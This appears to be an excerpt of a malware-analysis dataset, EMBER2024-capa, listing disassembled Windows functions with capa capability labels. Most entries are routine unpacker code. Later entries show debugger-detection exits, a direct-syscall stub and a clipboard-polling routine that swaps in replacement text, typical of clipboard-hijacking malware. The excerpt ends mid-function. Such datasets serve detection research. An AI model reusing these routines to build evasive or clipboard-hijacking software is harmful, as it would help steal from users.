joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000162c
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a8a0
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140028ec0]
xor rax, rsp
mov qword [rsp + 0x70], rax
movsxd rdi, edx
mov rbx, rcx
test edx, edx
je 0x14001a8df
cmp edi, dword [rcx + 0xc]
jne 0x14001a8d3
mov eax, dword [rcx + 0x10]
jmp 0x14001a9a2
mov eax, dword [rcx + 8]
cmp eax, 0
cmove eax, edi
mov dword [rcx + 8], eax
xor edx, edx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], rdi
lea r8d, [rdx + 0x24]
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR100.dll__gmtime64]
mov r10, rax
test rax, rax
jne 0x14001a92b
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_gmtime_failure__invalid_input_archive_n
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 2
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov dword [rbx + 0xc], edi
mov r11d, dword [rax + 0x14]
mov edx, 0x7bc
add r11d, 0x76c
cmp r11d, edx
jge 0x14001a968
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9d, 1
mov rcx, rbx
mov r8d, r9d
call fcn.14000132a
mov r11d, eax
jmp 0x14001a99b
add r11d, 0xffffffc4
shl r11d, 9
or r11d, dword [rax + 0xc]
shl r11d, 5
or r11d, dword [rax + 8]
shl r11d, 6
or r11d, dword [rax + 4]
mov eax, dword [rax + 0x10]
inc eax
shl r11d, 5
shl eax, 0x15
or r11d, eax
mov eax, dword [r10]
shr eax, 1
or r11d, eax
mov dword [rbx + 0x10], r11d
mov eax, r11d
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001c6b0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop rdi
ret

Function at 0x140001631
Capabilities:
Terminate process

Disassembly:
jmp 0x140010628
sub rsp, 0x28
test rdx, rdx
lea r8, str.error_unpacking_archive
cmovne r8, rdx
cmp byte [r8], 0x40
jne 0x140010643
inc r8
mov rcx, qword [rcx + 0xc0]
lea rdx, [0x140024d98]
call qword [sym.imp.MSVCR100.dll_fprintf]
or ecx, 0xffffffff
call qword [sym.imp.MSVCR100.dll_exit]
int3

Function at 0x14000164a
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a7a0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rdx
mov rbx, rcx
jne 0x14001a7f5
lea rdx, [0x140025b34]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx], rax
test rax, rax
jne 0x14001a7f5
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_Could_not_open_jar_file:__s_n
mov r8, rdi
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 3
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001659
Capabilities:
Create directory

Disassembly:
jmp 0x14001a498
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140028ec0]
xor rax, rsp
mov qword [rsp + 0x130], rax
movsxd rbx, ecx
mov rcx, rdx
mov rdi, rdx
call sub.MSVCR100.dll_strlen
cmp rax, rbx
jbe 0x14001a506
lea rcx, [rsp + 0x20]
mov rdx, rdi
call sub.MSVCR100.dll_strcpy
lea rcx, [rsp + 0x20]
mov edx, 0x2f
call qword [sym.imp.MSVCR100.dll_strrchr]
test rax, rax
je 0x14001a506
lea rdx, [rsp + 0x20]
mov ecx, ebx
mov byte [rax], 0
call fcn.140001659
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCR100.dll__mkdir]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14001c6b0
mov rbx, qword [rsp + 0x160]
add rsp, 0x140
pop rdi
ret
Function at 0x14000f25c
Capabilities:
Terminate process

Disassembly:
jmp 0x14000f25c
push rbx
sub rsp, 0x20
mov ebx, edx
mov edx, 2
call fcn.1400013ac
movzx ecx, bx
mov r11, rax
cmp ebx, ecx
je 0x14000f28b
lea rcx, str.Internal_buffer_overflow
xor edx, edx
add rsp, 0x20
pop rbx
jmp fcn.1400013e8
mov eax, ebx
mov byte [r11 + 1], bl
sar eax, 8
mov byte [r11], al
add rsp, 0x20
pop rbx
ret

Function at 0x140010628
Capabilities:
Terminate process

Disassembly:
jmp 0x140010628
sub rsp, 0x28
test rdx, rdx
lea r8, str.error_unpacking_archive
cmovne r8, rdx
cmp byte [r8], 0x40
jne 0x140010643
inc r8
mov rcx, qword [rcx + 0xc0]
lea rdx, [0x140024d98]
call qword [sym.imp.MSVCR100.dll_fprintf]
or ecx, 0xffffffff
call qword [sym.imp.MSVCR100.dll_exit]
int3
Function at 0x1400195dc
Capabilities:
Get common file path

Disassembly:
jmp 0x1400195dc
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x1c8]
sub rsp, 0x2c0
mov rax, qword [0x140028ec0]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
cmp qword [rcx + 0xd0], 0
mov rbx, rcx
lea rax, [0x140024ff4]
cmovne rax, qword [rcx + 0xd0]
mov qword [rcx + 0xd0], rax
mov rcx, rax
cmp rax, qword [rbx + 0xc8]
je 0x1400197c7
lea rsi, [0x140022c1d]
mov qword [rbx + 0xc8], rax
mov rdx, rsi
call sub.MSVCR100.dll_strcmp
test eax, eax
jne 0x140019661
call qword [sym.imp.MSVCR100.dll___iob_func]
jmp 0x1400197bc
mov rcx, qword [rbx + 0xd0]
lea rdx, [0x140024ff4]
call sub.MSVCR100.dll_strcmp
test eax, eax
jne 0x140019687
call qword [sym.imp.MSVCR100.dll___iob_func]
add rax, 0x30
jmp 0x1400197c0
mov rcx, qword [rbx + 0xd0]
cmp byte [rcx], 0
je 0x1400196b0
lea rdx, [0x14002589c]
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx + 0xc0], rax
test rax, rax
jne 0x1400197c7
mov edi, 0x104
lea rdx, [rbp + 0xa0]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 1
jl 0x1400196cd
cmp eax, edi
jle 0x1400196e1
lea rdx, [0x140025898]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCR100.dll_sprintf]
lea r8, [rbp + 0xa0]
lea rdx, str._sunpack.log
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll_sprintf]
lea rdx, [0x14002589c]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx + 0xc0], rax
test rax, rax
je 0x14001974c
lea rcx, [rsp + 0x30]
call sub.MSVCR100.dll_strlen
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x20]
mov r9, rax
mov rcx, rbx
call fcn.14000114f
mov r11, qword [rsp + 0x20]
mov qword [rbx + 0xc8], r11
mov qword [rbx + 0xd0], r11
jmp 0x1400197c7
lea rdx, str.upkg
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCR100.dll__tempnam]
mov rdi, rax
test rax, rax
je 0x1400197c7
lea rdx, [0x140025878]
lea rcx, [rsp + 0x30]
mov r8, rax
call qword [sym.imp.MSVCR100.dll_sprintf]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_free]
lea rdx, [0x14002589c]
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx + 0xc0], rax
test rax, rax
jne 0x140019718
call qword [sym.imp.MSVCR100.dll___iob_func]
mov qword [rbx + 0xc8], rsi
mov qword [rbx + 0xd0], rsi
add rax, 0x60
mov qword [rbx + 0xc0], rax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.14001c6b0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14001a498
Capabilities:
Create directory

Disassembly:
jmp 0x14001a498
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140028ec0]
xor rax, rsp
mov qword [rsp + 0x130], rax
movsxd rbx, ecx
mov rcx, rdx
mov rdi, rdx
call sub.MSVCR100.dll_strlen
cmp rax, rbx
jbe 0x14001a506
lea rcx, [rsp + 0x20]
mov rdx, rdi
call sub.MSVCR100.dll_strcpy
lea rcx, [rsp + 0x20]
mov edx, 0x2f
call qword [sym.imp.MSVCR100.dll_strrchr]
test rax, rax
je 0x14001a506
lea rdx, [rsp + 0x20]
mov ecx, ebx
mov byte [rax], 0
call fcn.140001659
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCR100.dll__mkdir]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14001c6b0
mov rbx, qword [rsp + 0x160]
add rsp, 0x140
pop rdi
ret

Function at 0x14001a54c
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a54c
push rbx
sub rsp, 0x20
test rcx, rcx
lea rbx, str.corrupt_pack_file_or_internal_error
mov rax, rdx
cmovne rbx, rcx
test rdx, rdx
jne 0x14001a598
call fcn.1400011ea
test rax, rax
jne 0x14001a598
call qword [sym.imp.MSVCR100.dll___iob_func]
lea rdx, str.Error:_unpacker:__s_n
mov r8, rbx
lea rcx, [rax + 0x60]
call qword [sym.imp.MSVCR100.dll_fprintf]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.MSVCR100.dll_abort]
mov rdx, rbx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp fcn.140001631

Function at 0x14001a6fc
Capabilities:
Terminate process
Write file on windows

Disassembly:
jmp 0x14001a6fc
test r8d, r8d
jle 0x14001a74f
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
mov r9, qword [rdi]
movsxd r8, ebx
mov edx, 1
mov rcx, rsi
call qword [sym.imp.MSVCR100.dll_fwrite]
test eax, eax
jle 0x14001a750
add dword [rdi + 0x34], eax
movsxd rcx, eax
sub ebx, eax
add rsi, rcx
test ebx, ebx
jg 0x14001a719
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.MSVCR100.dll__errno]
mov rcx, qword [rdi + 0x50]
lea rdx, str.Error:_write_on_output_file_failed_err_d_n
mov rcx, qword [rcx + 0xc0]
mov r8d, dword [rax]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 1
call qword [sym.imp.MSVCR100.dll_exit]
int3

Function at 0x14001a7a0
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a7a0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rdx
mov rbx, rcx
jne 0x14001a7f5
lea rdx, [0x140025b34]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fopen]
mov qword [rbx], rax
test rax, rax
jne 0x14001a7f5
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_Could_not_open_jar_file:__s_n
mov r8, rdi
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 3
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001a8a0
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a8a0
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140028ec0]
xor rax, rsp
mov qword [rsp + 0x70], rax
movsxd rdi, edx
mov rbx, rcx
test edx, edx
je 0x14001a8df
cmp edi, dword [rcx + 0xc]
jne 0x14001a8d3
mov eax, dword [rcx + 0x10]
jmp 0x14001a9a2
mov eax, dword [rcx + 8]
cmp eax, 0
cmove eax, edi
mov dword [rcx + 8], eax
xor edx, edx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x40], rdi
lea r8d, [rdx + 0x24]
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR100.dll__gmtime64]
mov r10, rax
test rax, rax
jne 0x14001a92b
mov rcx, qword [rbx + 0x50]
lea rdx, str.Error:_gmtime_failure__invalid_input_archive_n
mov rcx, qword [rcx + 0xc0]
call qword [sym.imp.MSVCR100.dll_fprintf]
mov ecx, 2
call qword [sym.imp.MSVCR100.dll_exit]
int3
mov dword [rbx + 0xc], edi
mov r11d, dword [rax + 0x14]
mov edx, 0x7bc
add r11d, 0x76c
cmp r11d, edx
jge 0x14001a968
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9d, 1
mov rcx, rbx
mov r8d, r9d
call fcn.14000132a
mov r11d, eax
jmp 0x14001a99b
add r11d, 0xffffffc4
shl r11d, 9
or r11d, dword [rax + 0xc]
shl r11d, 5
or r11d, dword [rax + 8]
shl r11d, 6
or r11d, dword [rax + 4]
mov eax, dword [rax + 0x10]
inc eax
shl r11d, 5
shl eax, 0x15
or r11d, eax
mov eax, dword [r10]
shr eax, 1
or r11d, eax
mov dword [rbx + 0x10], r11d
mov eax, r11d
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001c6b0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop rdi
ret
Function at 0x14001b05c
Capabilities:
Terminate process
Write file on windows

Disassembly:
jmp 0x14001b05c
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
mov bl, r8b
mov r14d, dword [rsi + 8]
mov rdi, rcx
xor r8d, r8d
add r14d, dword [rbp + 8]
xor edx, edx
xor ecx, ecx
call fcn.140001393
cmp qword [rbp + 8], 0
mov r15d, eax
je 0x14001b0c0
mov r8d, dword [rbp + 8]
mov rdx, qword [rbp]
mov ecx, eax
call fcn.140001393
mov r15d, eax
cmp qword [rsi + 8], 0
je 0x14001b0d9
mov r8d, dword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, r15d
call fcn.140001393
mov r15d, eax
test bl, bl
je 0x14001b0fd
test r14d, r14d
jle 0x14001b0fd
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
mov r12b, 1
call fcn.1400015b4
test al, al
je 0x14001b0fd
mov r13d, dword [rdi + 0x40]
jmp 0x14001b103
xor r12b, r12b
mov r13d, r14d
mov r9d, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov dword [rsp + 0x30], r15d
test r12b, r12b
mov rcx, rdi
mov dword [rsp + 0x28], r13d
sete bl
mov dword [rsp + 0x20], r14d
mov r8b, bl
call fcn.140001537
mov r9d, dword [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov dword [rsp + 0x30], r15d
mov r8b, bl
mov rcx, rdi
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r14d
call fcn.140001442
mov rcx, rdi
test r12b, r12b
je 0x14001b16f
mov r8d, dword [rdi + 0x40]
mov rdx, qword [rdi + 0x38]
jmp 0x14001b186
mov r8d, dword [rbp + 8]
mov rdx, qword [rbp]
call fcn.14000141a
mov r8d, dword [rsi + 8]
mov rdx, qword [rsi]
mov rcx, rdi
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp fcn.14000141a
Function at 0x14001cb63
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140028ec0]
jne 0x14001c6ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14001c6c6
repz ret
ror rcx, 0x10
jmp 0x14001cabc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400295e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400296d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001cb41
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400295e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001cb63
mov rax, qword [rsp + 0x88]
mov qword [0x1400296d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140029678], rax
mov rax, qword [0x1400296d8]
mov qword [0x140029550], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140029660], rax
mov dword [0x140029540], 0xc0000409
mov dword [0x140029544], 1
mov rax, qword [0x140028ec0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140028ec8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400295d8], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140026158]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400295d8], 0
jne 0x14001cbea
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140006f30
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006f60
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006f5f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006f65
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006f5f
mov eax, 0
jmp 0x140006f5f

Function at 0x1400075e0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140007590
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400117c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409e67d0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001182f
mov rcx, r9
call fcn.140011690
test eax, eax
je 0x14001182f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001182d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140011824
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001182f
add rdx, 0x28
cmp rdx, r9
jne 0x140011810
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040a8a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0040a8b0]
mov dword [rax], 1
mov rax, qword [0x0040a8c0]
mov dword [rax], 1
mov rax, qword [0x0040a840]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0040a890]
mov dword [0x0040d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040a970]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x0040a950]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040a7f0]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a

Function at 0x4015b6
Capabilities:
Check for debugger via api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x4015e1
lea rax, str.Debugger_detected__Exiting..._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x401626
mov dword [rbp - 4], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp - 4]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
mov eax, dword [rbp - 4]
test eax, eax
je 0x401621
lea rax, str.Remote_debugger_detected__Exiting..._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x401626
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x4018e3
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
je 0x4019ba
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x4019b1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x4019a1
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
test rax, rax
jne 0x4019b1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
jmp 0x4019b1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4019c1
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rdx
mov dword [rbp + 0x3f0], r8d
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x401a20
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401b75
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x401a5b
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401b75
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x401a9b
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401b75
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401b4b
mov dword [rbp + 0x3bc], 0
jmp 0x401b1d
mov eax, dword [rbp + 0x3bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3e0]
add rax, rdx
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call rdx
test eax, eax
je 0x401b16
mov eax, dword [rbp + 0x3bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov rax, qword [rax]
mov rcx, rax
call sym.replaceClipboard
jmp 0x401b2b
add dword [rbp + 0x3bc], 1
mov eax, dword [rbp + 0x3bc]
cmp eax, dword [rbp + 0x3f0]
jl 0x401ac2
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r8d, 0x3ff
mov rcx, rax
call sym.strncpy
mov byte [rbp + 0x39f], 0
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4019fb

Function at 0x401f10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x401f80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040d0b4]
test esi, esi
mov rbx, rcx
jle 0x4020b0
mov rax, qword [0x0040d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x401fcb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x402055
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x401fb0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x4020d2
mov rax, qword [0x0040d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x0040d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4020b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40204e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x402060
add dword [0x0040d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x0040d0b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40204e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x401fd8
mov rax, qword [0x0040d0b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402680
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
